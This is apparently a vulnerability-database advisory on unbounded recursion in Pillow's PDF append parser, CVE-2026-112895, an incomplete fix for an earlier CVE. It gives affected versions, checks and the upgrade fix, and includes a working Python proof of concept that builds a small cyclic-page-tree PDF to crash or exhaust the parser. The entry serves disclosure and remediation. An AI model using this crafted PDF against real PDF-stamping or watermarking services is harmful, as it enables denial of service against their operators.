---
id: "CVE-2026-112895"
kind: "vulnerability"
aliases: ["CVE-2026-112895", "GHSA-p4wg-p73j-c528"]
title: "Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)"
severity: "high"
cvss: 8.7
epss: 0.0029100000392645597
exploited: false
status: "open"
category: "package"
products: [{"name": "pillow", "fixed": ["13.0.0"], "affected": ">= 5.1.0, < 13.0.0", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-674", "package", "pdf-processing", "pillow", "python", "stamping-pipelines", "watermarking"]
not_affected_if: ["no-append-true-usage", "pillow-below-5.1.0-or-13.0.0-plus", "trusted-pdf-input-only"]
published_at: "2026-10-19T22:17:09+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:19+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-p4wg-p73j-c528", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112895", "first_seen_at": "2026-10-23T21:57:19+00:00"}]
---

# Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)

Pillow's PDF append path parses existing PDFs with recursive functions that have no effective bound on page-tree or trailer-chain depth. A crafted PDF can crash the parse with RecursionError or consume heavy CPU and memory before any image is written.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:pillow affected >= 5.1.0, < 13.0.0 fixed 13.0.0

## How to check

Run pip show pillow and check whether the version is >= 5.1.0 and < 13.0.0.
Find code that calls Image.save(..., format="PDF", append=True) on user-supplied PDF files.

## Fix

Upgrade pillow to 13.0.0 or later.
Until upgraded, do not call Image.save with append=True on untrusted PDF files.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-p4wg-p73j-c528
- 2026-10-23T21:57:19+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-112895

## From the sources

### Summary
When an application appends to an existing PDF with `Image.save(..., format="PDF", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.

### Details
`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:

- `src/PIL/PdfParser.py:1078-1092`

`read_prev_trailer` catches only a repeated offset:

- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)

### PoC
```python
from PIL import PdfParser

# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
    1: b"<< /Type /Catalog /Pages 2 0 R >>",
    2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
    3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
    off[oid] = len(buf)
    buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b")   # append=True parses the existing file the same way
```

Run it:
```
$ python 11_poc.py
RecursionError: maximum recursion depth exceeded
```

The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion.

### Impact
A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
